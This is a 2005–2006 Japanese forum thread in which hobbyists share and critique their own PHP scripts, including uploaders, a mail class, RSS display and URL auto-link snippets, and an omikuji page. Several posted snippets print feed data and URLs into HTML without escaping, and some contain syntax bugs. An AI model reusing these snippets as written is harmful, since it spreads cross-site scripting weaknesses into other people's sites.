もーひとつは、実はこのスクリプトを就活で使おうと思ってます。
この程度のものが作れます的なアピールに使おうかと。
そういうわけで、もう少し待ってくださいorz
ちなみにメールから画像を取り出す部分は、
レッツPHP!さんの写メールBBSを参考にしました。
ちらちら見ながら自分で書いたせいで、関数化とかされてません。
ていうかこのスクリプト、ほとんど関数ないなw
写メールBBSとはロジックが全く違っちゃってて、死ぬほどうさんくさい作りになってます。
正規表現とか知らないので超強引にやってます。
なので動かない機種が多そうで怖いw
というか、よく動いてるな…
毎度のことながら、そろそろコードが肥大化して追いきれなくなってきました。
1時間ぐらい天日干ししたソーメンに近い絡まり方です。
0297nobodyさん
2005/06/17(金) 19:53:01ID:???漏れも簡単なうぷロダ作ってみたい
0298少佐 ◆tkyK4yl1H6
2005/06/17(金) 21:01:37ID:???すいません、PHP関連の本は1冊も持ってませんorz
PHPはマニュアルが充実してると思うんで、
ほとんどそれ見ながらやってます。
ttp://homepage2.nifty.com/sak/w_sak3/doc/sysbrd/sak3php.htm
最初の頃はここもよく見てました。
というかPHP歴はまだ1年未満ですorz
0299少佐 ◆tkyK4yl1H6
2005/06/18(土) 00:11:24ID:???ttp://www.amazon.co.jp/exec/obidos/ASIN/486167025X/249-6448552-9772339
これです。
2,3ページしか読んでませんがw
0301少佐 ◆tkyK4yl1H6
2005/06/18(土) 16:20:05ID:???がんばてください。
僕程度のレベルなら、1ヶ月あれば到達できるハズですw
ところで、携帯の動画(3gpp?3gpp2?)をFlashに変換するテストをしたいのですが、
僕の携帯がウンコなので動画に対応していません。
どなたか携帯の動画を提供していただけるととてもうれしいです。
↓あぷろだはこちらを使ってください。
ttp://php-script.no-ip.org:525/sample/upload/
よろしくお願いしますm(_ _)m
0302少佐 ◆tkyK4yl1H6
2005/06/18(土) 16:29:46ID:???必死こいて作業してきます。
0303少佐 ◆tkyK4yl1H6
2005/06/18(土) 17:32:50ID:???PCからメールで.3gpのファイルを送信したところ、
Flashに変換できました。
msp2@php-script.no-ip.org宛に携帯の動画を送信してもらえると、
うれしさのあまり鼻血出すかもしれませんので、
手伝ってくださる方がいらっしゃったらよろしくお願いしますm(_ _)m
0304少佐 ◆tkyK4yl1H6
2005/06/18(土) 18:52:23ID:???Flashを再生できる携帯をお持ちの方で、
携帯から
ttp://php-script.no-ip.org:525/sample/msp2/view.php?no=17
にアクセスしてFlashが再生されるかどうか確認してもらえると感動します。
PCからアクセスすると、通常のaviとして再生されると思います。
0306nobodyさん
2005/06/18(土) 23:37:51ID:???きちんと再生されたーよ。
0307少佐 ◆tkyK4yl1H6
2005/06/19(日) 00:36:35ID:???すまそ。
今公開できない理由は以前書いた通りなので、申し訳ないです。
>>306
ありがとうございます。
できれば機種が知りたかったりしますorz
0308nobodyさん
2005/06/19(日) 18:37:10ID:???だからお役には立てない
ちなみに機種はドコモ251iS
今日は暑いよ少佐(;´Д`)ハァハァ
0309少佐 ◆tkyK4yl1H6
2005/06/19(日) 19:16:09ID:???僕の携帯なんかD251iっすよw
FOMA電波入らないorz
気温34度+PCの熱で40度の部屋に生息してます。
扇風機ぐらい欲しいよ(;´Д`)ハァハァ
0310nobodyさん
2005/06/20(月) 08:28:09ID:???|∀・) ソーット・・・
|⊂)
|/
0311少佐 ◆tkyK4yl1H6
2005/06/23(木) 01:41:00ID:???画像あぷろだのソースは公開できないかもしれませんorz
就活じゃない方の理由のためです。
その理由なのですが、書いていいのかな…
某レンタル鯖会社さんから、「レンタルサービスとして使いたい」という要望がありまして、
ソースを公開するのはマズいかな、という判断です。
僕の技術不足でポシャる可能性はかなりあるのですが、
正式に某社さんにソースを渡すことになった場合、公開はできません。
完全に分岐して進むという手もあると思うのですが、時間的に厳しそうです。
「やっぱやめます」と言われた場合は公開します。
さんざんお手伝いしてもらっておいて申し訳ないですorz
0312nobodyさん
2005/06/23(木) 01:54:52ID:???0313少佐 ◆tkyK4yl1H6
2005/06/23(木) 02:12:44ID:???どもです。
GPLってよく聞くけどどういうものだか知りませんorz
ソースの改変をしない限り再配布とかOK&ソースは公開しなさい、
みたいなものだと勝手に解釈して生活してます。
某社さんから見積もりを頼まれたので「無料で」と言ったのですが、
「できればきっちり請求してもらって、どんどん改良してほしい」
との返事をもらいました。
正直なところ、就職が決まればそんなに時間も無くなるのは目に見えてますので、
かなり重荷に感じてるとこです。
お金は取らない、でも後のサポートもしません、が楽で理想なんですけどね。
お金を取ったくせにバグだらけじゃないか、と言われるのが怖いので、無料で貫く予定です。
もっとも、こちらからお断りしてソース公開というのもアリかなぁとは思います。
ホントに適当な動機で作り始めたものなので、商用に耐えられるとは思えませんし。
ついでに、Flashが「おそらく再生できない」こともほぼ確認できちゃいましたしorz
僕には原因が理解できないからタチ悪い…
そんで、今の僕の心境をぶっちゃけちゃいますと、
できれば某社さんに使ってもらいたい。
そして、それを実績として掲げて就活に挑みたい。
しかしながら、サポートする技量もない&おそらく続かない。
「某社からこういうお誘いを受けたことがあります」
程度にとどめて、気軽にソースを公開するのが一番楽かなぁ、と現実逃避してます。
自他共に認める優柔不断野郎ですorz
0314nobodyさん
2005/06/23(木) 02:36:32ID:???こういう経験がハクになったりするもんだし。
と混ぜ返すテスト
0315少佐 ◆tkyK4yl1H6
2005/06/23(木) 02:54:54ID:???ごもっともです。
ただ、↑にも書いたように、就職しちゃうと改良する時間が取れないと思うのです。
動いてるのが不思議なぐらいのスパゲティコードなので、かなりの時間を割かれそうです。
何よりも一番大きいのは、↑に書いたように責任問題です。
このスクリプトのせいで某社が致命的な損害を被った場合に、僕は一切責任を取れません。
・無料でよければソースの譲渡には応じます。
・このスクリプトがサービスとして採用された場合は、ソースの一般公開はしません。
・ただし、致命的なバグ等によりFC2さんが損害を被った場合、僕は責任を取れません。
・こちらに時間に余裕がある時以外はタッチできません。
という条件を提示し、
「それがダメなようなら今回の話は無かったことに…」
って感じのメールを送信しておきました。
あぁ、暇つぶしにしては荷が重すぎるorz
0316少佐 ◆tkyK4yl1H6
2005/06/23(木) 02:55:59ID:???見なかったことにしてくださいorz
0317nobodyさん
2005/06/23(木) 10:59:36ID:???fc2ってこんなところ見てたんだw
あそこ規模はそこそこ大きいけどねぇ。
俺の案として、少佐がfc2に就職を条件に技術提供って言うのはどう?
0318少佐 ◆tkyK4yl1H6
2005/06/23(木) 15:49:28ID:???どもです。
これは絶対書かない方がいいんだろうけど…
実は相手さんからそういう話がありました。
が、僕は行きたい会社があるのでお断りしました。
僕のサイトに来る方の99%は、
このスレか某CGI登録サイトからです。
どっちから流れてきたのかは知りませんがw
0319nobodyさん
2005/06/23(木) 18:47:37ID:???0320少佐 ◆tkyK4yl1H6
2005/06/23(木) 20:39:36ID:???だんだん奈落の底へ向かって遠ざかってますorz
いつも生暖かく見守ってばかりでは申し訳ないので、
ソースを一部だけ公開します。
少佐の画像あぷろだLite 0.0.1aです。
Liteなので、機能限定版です。
ttp://php-script.no-ip.org:525/sample/mfu/
[機能の違い]
・.jpg, .jpeg, .gif, .bmp, .pngしか対応していない。
・ランキングの種類が少ない(対応ファイルが少ないせいで)
・メールでの投稿ができない。
・アルバム表示に対応していない。
・ユーザの投稿数やコメント数が記録されない。
・通常版よりバグ多いかもorz
そのぐらいだっけかな…
かなり使えないスクリプトになってます。
[ソース]
ttp://php-script.no-ip.org:525/script/upload/?mode=download&key=8b83e6b29056c877642ac4c9ae1c6491
パスワード:major
今はこれの公開が限界なので許してくださいorz
0321少佐 ◆tkyK4yl1H6
2005/06/23(木) 20:43:38ID:???0322少佐 ◆tkyK4yl1H6
2005/06/23(木) 20:55:40ID:???ttp://php-script.no-ip.org:525/script/upload/?mode=download&key=37636f11cc286b67fe632247cd2e18ad
パスワード:major
です。
orz
0323nobodyさん
2005/06/23(木) 22:46:53ID:???0325nobodyさん
2005/06/23(木) 23:35:01ID:???DLのボタン押すと出る
もち
37636f11cc286b67fe632247cd2e18adもパスも間違ってない
ちなみに以前も結局DLできなかった>>199
0326少佐 ◆tkyK4yl1H6
2005/06/24(金) 00:37:44ID:???あれ、まじですか?
パスワードは「major」です。
コロン無しの。
まぁなんていうか、あぷろだがウンコなのかも。
ttp://php-script.no-ip.org:525/script/upload/file/37636f11cc286b67fe632247cd2e18adf1425da40a9f2d21ab702a1c7feae026.zip
よかったらこっちから落としてください(という直リンができちゃうのがウンコたる所以)。
0328少佐 ◆tkyK4yl1H6
2005/06/24(金) 08:17:08ID:???ttp://php-script.no-ip.org:525/script/upload/file/5f547414003b7cadc2875db916ceb199f1425da40a9f2d21ab702a1c7feae026.zip
index.phpだけ上書きしてくださいorz
>>327
ホントにあほなソースなので心配ご無用です。
見たら分かるけど、ほとんどifのみで処理してます。
elseが抜けてるとこが多いと思うので、
「あれ?何も処理されないよ?」って部分があるかもです。
mysql_query("ほにゃらら"); の行はMySQLのクエリ発行です。
…それだけのスクリプトw
いかにも初心者らしいソースなので、ある意味読みやすいですorz
0329少佐 ◆tkyK4yl1H6
2005/06/24(金) 19:00:45ID:???なので、申し訳ないのですが画像あぷろだのソースは公開できそうにありません。
orz
0330nobodyさん
2005/06/25(土) 15:33:15ID:???せっかくの機会だからユーザ密着型会社に変えちゃいなよ
0331少佐 ◆tkyK4yl1H6
2005/06/25(土) 18:36:07ID:???僕の行きたいとこも超零細ベンチャーなので、さらに密着だと思います。
ディーフェンス!ディーフェンス!
0332nobodyさん
2005/06/26(日) 02:11:53ID:???0333nobodyさん
2005/06/26(日) 02:59:00ID:???すいません。
僕が黙ればいい話であって、削除依頼は全然関係ないと思います。
また何か作ったらお邪魔します。
今度こそ公開できる形でorz
0334nobodyさん
2005/07/01(金) 20:41:57ID:???とりあえず動きますお程度でしが。。。
0335nobodyさん
2005/07/01(金) 21:09:43ID:???0336nobodyさん
2005/07/01(金) 22:15:53ID:???upld6541.zipです
0337nobodyさん
2005/07/01(金) 23:30:19ID:???0338nobodyさん
2005/07/01(金) 23:48:53ID:???0339nobodyさん
2005/07/01(金) 23:59:38ID:???0340nobodyさん
2005/07/02(土) 00:18:59ID:???正しく動いていれば、3ペイン表示で、めぬーが表示されるです。
で、右上がスレ一覧。右下がスレッド。
メニュー内でリンクになってる項目をクリックすれば、スレ一覧が表示されます。
ここら辺からちゃんと動くか微妙ですが、
スレ一覧のリンクになっている項目をクリックすれば、そのスレのdatが表示されます。
開発環境はMacOSX10.3.9(PHP4.3.11)
mbstringが有効になってないと動かないかも
0341nobodyさん
2005/07/02(土) 04:06:50ID:???datを出力せずに、ちゃんと整形してます。。。
upld6574.zip
0342nobodyさん
2005/07/02(土) 09:40:58ID:???Undefined property: Thread::$name in <b>C:\home\php\tashiro2ch\Subject.class.php
$uri .= '&name=' . rawurlencode($this->name);
$this->nameが無いんですけど$this->numの間違い?
0343nobodyさん
2005/07/02(土) 09:43:34ID:???でもtitleは別にあってそっちはurlencodeしてないというオチだし
0344nobodyさん
2005/07/02(土) 11:53:43ID:???$uri .= '&name=' . rawurlencode($this->name);
いらないですね、この行。
>>343
でもtitleは別にあってそっちはurlencodeしてないというオチだし
そうですね。。。('A`)
0345nobodyさん
2005/07/21(木) 23:52:46ID:4e4JAntIttp://trashtoy.hp.infoseek.co.jp/php-api/char_reader.zip
マルチバイト処理関数を扱うモジュールはデフォルトで存在しているのですが、
レンタルサーバーによっては、モジュールのON/OFFの設定が自由に出来なくて、
PHPソース100%のモジュールが欲しかったので作りました。
Javaで生まれ育った技術者が書いたPHPのソースなので、人によっては読みにくいかも・・・。
0346少佐 ◆tkyK4yl1H6
2005/07/28(木) 14:41:10ID:???ので、ご報告まで(;゚д゚)
ttp://uploader.fc2.com/
0347nobodyさん
2005/07/28(木) 22:52:02ID:???採用オツカレチャーン!
ちょっとまだ個人サイトっぽい雰囲気?
0348少佐 ◆tkyK4yl1H6
2005/07/28(木) 23:12:22ID:???このままじゃ全く使えませんw
っとお邪魔しました。
0349nobodyさん
2005/07/29(金) 00:16:22ID:???少佐立派になったなぁ。デザインも使ってくれてるみたいで兄さん泣きそうだ。
少佐が出世して会社作ったら俺を入れてくれ。
じゃあガンバテー。
0350少佐 ◆tkyK4yl1H6
2005/07/31(日) 08:57:37ID:???>>349
むしろ「兄さんがデザインを提供して頂いたおかげ」ですよ。
ホントに感謝してますw
また今度よろしくお願いします。
|)))
0351nobodyさん
2005/08/08(月) 17:30:40ID:???phpの常識なんてまったく知らないので優しく突っ込んでね・・ :D
<?php
$xml = simplexml_load_file("http://heeha.ws/cgi-bin/blog/index.rdf");
//print_r($xml); // 配列を出力してみる。
//表示する記事数
$kijisu = 10;
//表示を開始する記事
$kijino = 0;
while( $kijisu != $kijino ){
print "<br><br>";
print "<a href=";
print $xml->item[$kijino]->link;
print ">";
print $rss_title = $xml->item[$kijino]->title;
print "</a>";
$kijino++;
}
?>
0352nobodyさん
2005/08/09(火) 07:37:44ID:???にした方が良い気がするのはワタスだけでしょうか
いや、生理的に
0353nobodyさん
2005/08/09(火) 09:38:55ID:???いくらくらいもらえるんだろう
0354nobodyさん
2005/08/11(木) 03:31:17ID:???0355nobodyさん
2005/08/11(木) 12:45:53ID:???結局は誰かが書いてるの引っ張ってきていぢってるだけの自分がいやだ。。
0356nobodyさん
2005/08/11(木) 17:32:13ID:???と自分に言い聞かしております
最初からフルスクラッチなんか難しいし
0357nobodyさん
2005/08/11(木) 19:29:33ID:???何点か気になることがあるので漏れなりに書き直してみた。
1.aタグのhref属性は"で囲んだ方が安全
2.「print $rss_title = $xml->item[$kijino]->title;」の一文がバグっぽい(?)
3.「n回繰り返す」という場合はfor構文を使う方が自然
4.HTML出力する時は文字列に入れて最後にまとめてが好き
3と4は好みの問題もあるんで、気に入らなければスルーしてくれ。
<?php
$xml = simplexml_load_file("http://heeha.ws/cgi-bin/blog/index.rdf");
//print_r($xml); // 配列を出力してみる。
//表示する記事数
$kijisu = 10;
//表示を開始する記事
$kijino = 0;
$html=""; //HTML生成用文字列
for ($i=0; $i<$kijisu; $i++){
$item = $xml->item[$kijino];
$html .= "<br><br>"
.'<a href="' .$item->link. '">'
.$item->title
."</a>";
$kijino++;
}
print $html;
?>
0358nobodyさん
2005/08/17(水) 16:24:47ID:???これでもよくない?
<?php
$xml = simplexml_load_file("http://heeha.ws/cgi-bin/blog/index.rdf");
//表示する記事数
$kijisu = 10;
for ($i=0; $i<$kijisu; $i++){
echo "<a href={$xml->item[$i]->link}>".$xml->item[$i]->title."</a><br><br>";
}
?>
0359nobodyさん
2005/08/20(土) 20:39:48ID:???href属性を引用符で囲ってないのと
元のプログラムと動作ってか設計思想
(具体的には開始記事を0で決め打ちしてるところ)
が変わって来てるのがちょっと気になるな。
まあ、仕様がどうだかわからんし、
プログラムは一目見てすっきりしてるしいいんじゃね。
0360nobodyさん
2005/08/24(水) 01:11:26ID:???http://upld2.x0.com/upload.php の
upld12326.zipです。
0361nobodyさん
2005/08/24(水) 11:02:07ID:???0363nobodyさん
2005/11/22(火) 23:25:07ID:6UoElGik0365nobodyさん
2005/12/16(金) 18:01:58ID:???どしどしご教授ください。
<form>を簡単に作るclassです。なのに実際のコード量は増えております。
http://life.my.land.to/class.zip
0366nobodyさん
2005/12/16(金) 18:08:44ID:???phpinfo();
?>
0367nobodyさん
2005/12/16(金) 18:34:00ID:E9pCzORG0368nobodyさん
2005/12/17(土) 02:24:33ID:???画像あぷろだです。
ttp://sv1.no-ip.org:9999/mms/
0370nobodyさん
2005/12/17(土) 11:11:33ID:???少佐就職先決まった?
それとpyaみたいな画像アプロダ完成度高くなったね。
ただ、まんまpyaなのでどこで差をつけられるかが重要かと。
0371nobodyさん
2005/12/17(土) 11:12:59ID:???バレた(;゚д゚)
相変わらずクソ汚いソースで、そろそろ自分でも理解できなくなってきました。
僕はクラスなんて知らないので毎度セコい書き方でごまかしてますorz
/*どうでもいいけど、昨日ようやく就職が決まりました。
どんだけ時間かかってるんだ(´゚w゚`;)*/
0372nobodyさん
2005/12/17(土) 11:15:43ID:???あ、書いてる間に書き込みが…
あくまで「pyaみたい」であって、それ以上のものはとても作れません。
というか、以前のやつより劣化してます。
見た目がちょっとマシになったかな?ぐらいでw
しかし同じもの書くのは飽きてきたので、そろそろペースが落ちてきましたorz
0373nobodyさん
2005/12/17(土) 13:00:25ID:zD/7oFyE晒して!
0374373
2005/12/17(土) 13:00:54ID:???スマソorz
0376nobodyさん
2005/12/17(土) 22:11:04ID:???ちゃいますw
前々から行こう行こうと思ってたとこです。
ソースはこの一番ショボいやつを見せましたw
ttp://php-script.no-ip.org:525/
0377nobodyさん
2005/12/18(日) 10:15:18ID:???0378nobodyさん
2005/12/18(日) 13:05:17ID:???そんなジンクスがあるんすか…
雑談だけじゃ怒られそうなので、昨日20時間ぐらいかけて書いたものを…
ttp://sv1.no-ip.org:9999/mns/
0379nobodyさん
2005/12/18(日) 14:40:09ID:???0380nobodyさん
2005/12/18(日) 19:54:20ID:???4のクラスの糞っぷりはもう・・
0381nobodyさん
2005/12/19(月) 02:22:48ID:???0382nobodyさん
2005/12/19(月) 03:42:14ID:???0383nobodyさん
2005/12/19(月) 12:40:50ID:???すまそ、ダウンロードのリンクははずしました(;゚д゚)
>>382
まだまだです(´゚д゚`)
現在80%ぐらい完成かなぁと思ってるんですが、
残りの20%が携帯の絵文字と最終確認です。
しかしさっぱりわからないので放置してますw
ちなみに、うぷえもんという名前は
ttp://pc8.2ch.net/test/read.cgi/hp/1126154615/244-256
で決めてもらいましたw
0385nobodyさん
2005/12/19(月) 19:23:41ID:???//URL自動リンク
function Auto_HyperLink_Tags($somevar){
$URLSearch="/(https?|ftp)(:\/\/[-_.!~*\'()a-zA-Z0-9;\/?:\@&=+\$,%#]+)/";
preg_match_all($URLSearch, $somevar, $Matches);
$Search=$Matches[0];
foreach( $Search as $val){
$Replace[]="<a href='{$val}'>{$val}</a>";
}
$result=str_replace($Search,$Replace,$somevar);
return $result;
}
?>
0386nobodyさん
2005/12/19(月) 19:52:44ID:???//URL自動リンク
function Auto_HyperLink_Tags($somevar){
$URLSearch="/(https?|ftp)(:\/\/[-_.!~*\'()a-zA-Z0-9;\/?:\@&=+\$,%#]+)/";
preg_match_all($URLSearch, $somevar, $Matches);
$Search=$Matches[0];
foreach( $Search as $val){
$Replace[]="<a href='{$val}'>{$val}</a>";
}
$result=str_replace($Search,$Replace,$somevar);
return $result;
}
$a=Auto_HyperLink_Tags("http://example.com/<br>http://example.com/");
print $a;
0387nobodyさん
2005/12/19(月) 22:40:49ID:???>残りの20%が携帯の絵文字と最終確認
携帯絵文字はウンコ、携帯厨は氏ねですよ。
バタバタ
〃〃∩ _, ,_
⊂⌒( `Д´) < はやくうぷえもん頂戴
`ヽ_つ ⊂ノ
0388nobodyさん
2005/12/20(火) 11:35:10ID:???友達にアイコンを描いてもらってるので、もうちょい待ってください(「・ω・)「
携帯の絵文字はほっといて、とりあえず版のソースをそのうち出しますorz
0389nobodyさん
2005/12/20(火) 17:59:17ID:???0391385
2005/12/21(水) 19:28:39ID:???いきなりバグだ…orz
どうも同じURLだとなるみたいなんだけど…
なぜだ、分からん。str_replaceの挙動?
0393nobodyさん
2005/12/24(土) 19:28:03ID:???http://life.my.land.to/send_mail.zip
0394nobodyさん
2005/12/25(日) 00:57:04ID:???mb_language( "ja" ) の後に mb_internal_encoding( "SJIS" ) とした方がいいと思う。
あと、body と subject の JIS 化はいらない。
配列をコンマ区切りにするのはちゃんと関数があるのでそれを使うべき。
join( ", ", $this->cc ) って感じで。
to cc bcc を追加する関数は
function to( $to ) {
$this->to[] = $to;
}
でいいと思う。
0396393
2005/12/25(日) 10:38:10ID:???394の指摘を変更と、コンストラクタがとんちんかんな事をしてたの修正。
あと、「body と subject の JIS 化」を解除したら、
漏れの環境ではsubjectが化けるようなので、それは保留。
0397394
2005/12/25(日) 16:35:03ID:???ちゃんとメアドが存在してるかどうか。
メアドが無くても、最低限、サーバーが存在してるかどうか。
function Check( $address ) {
$flag = FALSE;
list( $user, $host ) = preg_split( "/@/", $address );
unset( $user );
$ip = gethostbyname( $host );
if( preg_match( "/^[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}$/", $ip ) ) {
$flag = TRUE;
}
return $flag;
}
これをアドレスを追加するメソッドに組み込んで、TRUE ならアドレス追加、ってことにすればいいと思う。
0398394
2005/12/25(日) 16:39:13ID:???しなきゃならんときがあるので、メール送信をソケットで行う関数を作ってる。
さすがにこれは悪用できるので晒さないけど。
あぁそうそう。
基本的なことだけど、クラス変数名とメソッド名は分けた方がいい。
var $body;
function SetBody( $body ) {
}
こういう感じで。
また、body の追加だけど、1 行追加タイプにするほうがいいかも。
function body( $body ) {
$this->body .= $body . "\n";
}
これくらいかなぁ。
0399393
2005/12/25(日) 18:11:12ID:???なるほどねぇ。早速修正してうpした。
toやらccやらbccやらを一つの関数にして、細かいとこ手直ししたお。
ttp://life.my.land.to/send_mail.zip
ってクリスマスに何してんだ…orz
0400394
2005/12/25(日) 18:56:06ID:???クラス変数の宣言時に初期化しておいて、コンストラクタで mb をセットしたらいいかも。
var $from = '';
var $body = '';
var $subject = '';
function send_mail() {
mb_language( 'Japanese' );
mb_internal_encoding( 'SJIS' );
}
また、メールの追加ヘッダはきちんと書いた方がいいね。
\n じゃなくて \r\n にして。
これでメソッド名をわかりやすくしてやると、かなり使い勝手いいかも。
あ、send_mail.php の方だけど、$obj->cc = file( 'xxx.txt' ); はやめた方がいい。
PHP4 には private の概念が無いからクラス変数を直接操作できるけど・・・
0401nobodyさん
2005/12/25(日) 22:14:55ID:???俺にはちんぷんかんだけど(^ω^;)
0402nobodyさん
2005/12/25(日) 23:28:55ID:???0405393
2005/12/26(月) 16:12:40ID:???>>402 理由説明してくれてるじゃないか。
で、バージョンうp
・コンストラクタ変更
・追加ヘッダ記述修正
・メソッド名変更
・host_exists()の機能にメールアドレスかどうかのチェックも入れた。
・send()で結果報告が返ってくるようにした。
良ければ使ってやってください。
0407394
2005/12/26(月) 21:47:54ID:???メールサーバーに送信データを投げれたかどうかしかわからない。
メールが送信されたかどうかは判別できないのよね。
まぁ普通はメールサーバーに投げれたら、メールは送信できるけど。
このクラスは結構使いやすいんじゃないかな。
こうした方がいい、ってのはもう無いはず。
後は俺の自己満足で。
SetBody1 ってメソッドだけど、俺なら SetBodyln にするかな。
Java を見習って。
これはほんとに自己満足なんで、どーでもいいとこやけど。
393、お疲れ様でした。
0408nobodyさん
2005/12/26(月) 22:20:25ID:???あとは少佐のうぷえもん完成を松とするかw
0409nobodyさん
2005/12/26(月) 22:21:08ID:???俺ならSetXXXのメソッドはAddXXXにするなあ。
FromとSubjectはSetでわかるけど、Toや本文は追加じゃん。
あとはSetMailに配列でアドレスを渡せるように出来たら嬉しい。
Send(string from, array to, string subject, string message)
的なシンプルなインターフェースもあると便利な時もあるかも。
以上、ワガママでした。
0410nobodyさん
2005/12/27(火) 00:45:54ID:???何百と送信先があるときにいちいちgethostbyname()するのはwebアプリでは
待てんからチェックしないオプションを付けるといいかもね。
0411393
2005/12/27(火) 13:00:12ID:???mb_send_mailの結果>
そうなんだよね。あったら使いやすいかなって。
本当にお世話になりました。
どうみても先生です。本当にあr)ry
>>409
メソッドはAddXXX>
漏れも悩んだんだよねぇ。どっちかに統一した方がいいと思ってさ。
もしくは、上書きと追加で別に作った方がいいのだろうか?
SetMailに配列>
だよね!それやろう。
>>410
gethostbynameオプション>
間違いないね!それやろう。
0412nobodyさん
2005/12/27(火) 14:42:59ID:???便利だな!
ありがとん。
自分もここでスクリプト発表出来るように今から勉強します。
ノシ
0413393
2005/12/27(火) 16:26:00ID:???使ってやってくだされ!がんばってー
で、バージョンうp
http://life.my.land.to/send_mail.zip
・メソッド名変更
・SetMail()を配列でもOKなようにした。
・アドレスチェックするかどうか選べるようにした。
・重くなった希ガス…
つかいやすいかなぁ(´・ω・`)
0414nobodyさん
2005/12/27(火) 17:06:58ID:???今はアイコンを待ってるだけです。
もう絵文字はわからんから諦めました('A`)
次はこんなもんを作り中です。
ttp://sv1.no-ip.org/minilog/
完成しない可能性が高いけど(;゚д゚)
0415nobodyさん
2005/12/27(火) 18:38:42ID:???乙 俺だけかもしんないけど重さは感じないよ
>>414
少佐すげー 俺、mt使いだけど比べてどうなん?
minilogの特徴あったら教えて
それとね、前に国連式みたいなアプロダあったやん
あれ「CGI探してます」スレ等でも需要度高いから復活きぼん
0416少佐 ◆tkyK4yl1H6
2005/12/27(火) 19:04:48ID:???>>415
ありがとうw
しかし、MTと比較しようとするのが(ry
minilogの特徴:ショボい
どんなスクリプトでもそうだと思うんですけど、
メインページ : 管理ページ = 2 : 8
ぐらいの比率ですよね。
ということで、まだ2割しかできてません('A`)
あぷろだは↓にあります。
ttp://sv1.no-ip.org/d/?q=node/1
0417nobodyさん
2005/12/28(水) 20:17:56ID:???厳しい(><)
さくらもXREAも無理じゃないですか!
0418nobodyさん
2005/12/28(水) 20:18:33ID:???0419nobodyさん
2005/12/28(水) 20:39:28ID:???適当に開いて読んでるけど
up_check.php
7行目でextractしているのに、10, 11行目で$_POSTを使うのはなぜ?
9行目、htmlspecialcharsは不要。というかしちゃいけない気が。(例えばtest&test.txtならtest%quot;test.txtになって、44行目pathinfo($_FILES['upload_file']['name'])でNo such fileで落ちる)
0420少佐 ◆tkyK4yl1H6
2005/12/28(水) 21:46:21ID:???MySQL4.1以上ってのは適当に書いてます(;゚д゚)
環境が無いので動作確認してないってだけです。
insertとdeleteとcreate tableとdrop tableとupdateしか使ってないんで、
たぶんMySQL3.0でも大丈夫なんじゃないでしょうかw
>>419
なるほど、参考になります。
9行目はhtmlspecialcharsを削除しておきました。
7行目は特に問題ないと思うので勘弁してください。
extractという関数を知って、喜んで使っただけだと思われます(;゚д゚)
0422nobodyさん
2005/12/29(木) 11:22:15ID:???http://support.sakura.ad.jp/support/web/manual/tech/cgi/cgi01.html
さくらってPHPもMYSQLも禁止じゃない?
0423nobodyさん
2005/12/29(木) 11:30:17ID:???それは ライトプラン(月額125円)の話しだろ?
スタンダードプラン(月額500円)以上はPHP も MySQLも使用可能。
0424nobodyさん
2005/12/29(木) 11:32:19ID:???http://www.sakura.ne.jp/rs/03_01.shtml
http://www.sakura.ne.jp/rs/03_04.shtml
0425nobodyさん
2005/12/29(木) 11:33:21ID:???0427nobodyさん
2005/12/31(土) 03:16:08ID:???つーか年末なのに暇なの?(・ω・` )
0428nobodyさん
2005/12/31(土) 10:47:55ID:QV55QLG6自前でSAXライクなXML処理スクリプトを作りました。
http://trashtoy.dw.land.to/works/altsax.zip
使い方はサンプルソースを見てください。
サンプルは以下の URL にあります。
http://trashtoy.dw.land.to/works/altsax/sample.php
0429428
2005/12/31(土) 10:57:55ID:???このモジュールは、まだ XML宣言・ドキュメントタイプ宣言・コメント・PI・実体参照 etc
を扱うことが出来ません。。。(´・ω・`)
0430nobodyさん
2006/01/04(水) 16:19:48ID:PpH7t0Dm自動で収集するプログラムないかな?
0432nobodyさん
2006/01/04(水) 21:42:52ID:???0433nobodyさん
2006/01/04(水) 22:50:08ID:yE7kg+Crポートスキャンとかしちゃってさ。
0434nobodyさん
2006/01/05(木) 11:33:32ID:???0435nobodyさん
2006/01/05(木) 14:37:37ID:???$bbq = explode(".",$addr);
$bbq = gethostbyname($bbq[3].".".$bbq[2].".".$bbq[1].".".$bbq[0].".niku.2ch.net");
if($bbq == "127.0.0.2"){ $bbq = 1; }
if($bbq){ error("公開プロキシ規制中!"); }
これでよろし。
0436nobodyさん
2006/01/05(木) 18:43:13ID:???0437nobodyさん
2006/01/05(木) 18:47:15ID:???0438nobodyさん
2006/01/05(木) 18:47:59ID:???っ 鮠の蒲焼き
0439nobodyさん
2006/01/08(日) 17:27:17ID:???0442少佐 ◆tkyK4yl1H6
2006/01/10(火) 15:45:26ID:???http://sv1.no-ip.org/minilog/index.php?eid=5
汚すぎて読めないとかヘタクソとかバカとかあほとかは自覚してるので勘弁してください(´゚w゚`;)
もはや自分でも読めませんorz
0443少佐 ◆tkyK4yl1H6
2006/01/10(火) 15:45:56ID:???0444nobodyさん
2006/01/11(水) 01:04:38ID:???じっくりことこと弄ってみるよ
ありがとぅ
0446nobodyさん
2006/01/12(木) 19:41:35ID:???どれどれ…
0447nobodyさん
2006/01/16(月) 18:35:43ID:???0448nobodyさん
2006/01/18(水) 10:07:50ID:d+ZzOlPl0449nobodyさん
2006/01/18(水) 10:28:42ID:???class jojo{
$damage=0;
function atack(){
while(true){
echo "無駄";
$damage++;
}
return($damage);
}
}
0450nobodyさん
2006/01/18(水) 12:37:18ID:???0451nobodyさん
2006/01/21(土) 12:59:16ID:rfPmX8eKつまんねーよカス
0452作ってみたわけだが@動作未確認
2006/01/21(土) 13:25:59ID:???header("Content-Type: text/html; charset=Shift_JIS");
$aryTitle = array("大吉","中吉","小吉","吉","凶");
$aryKuji = array(
"大吉" => "残念、大吉を出すために運を使ってしまった",
"中吉" => "ラッキー、今日はいいことありますよ♪",
"小吉" => "小さな幸せ",
"吉" => "つまらん一日を…",
"凶" => "引き籠る");
shuffle($aryTitle);
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="ja">
<head>
<title>おみくじ</title>
</head>
<body>
<h1>おみくじ</h1>
<dl>
<dt><?php print($aryTitle[0]; ?></dt>
<dd><?php print($aryKuji[$aryTitle[0]); ?></dd>
</dl>
</body>
</html>
0453nobodyさん
2006/01/21(土) 14:59:36ID:???> Parse error: parse error, unexpected ';' on line 20
> Parse error: parse error, unexpected ')', expecting ']' on line 21
ここはnotepad.exeじゃないぞw
0454作ってみたわけだが@動作確認済み
2006/01/21(土) 15:14:51ID:???スマソ訂正:
<?php
header("Content-Type: text/html; charset=Shift_JIS");
$aryTitle = array("大吉","中吉","小吉","吉","凶");
$aryKuji = array(
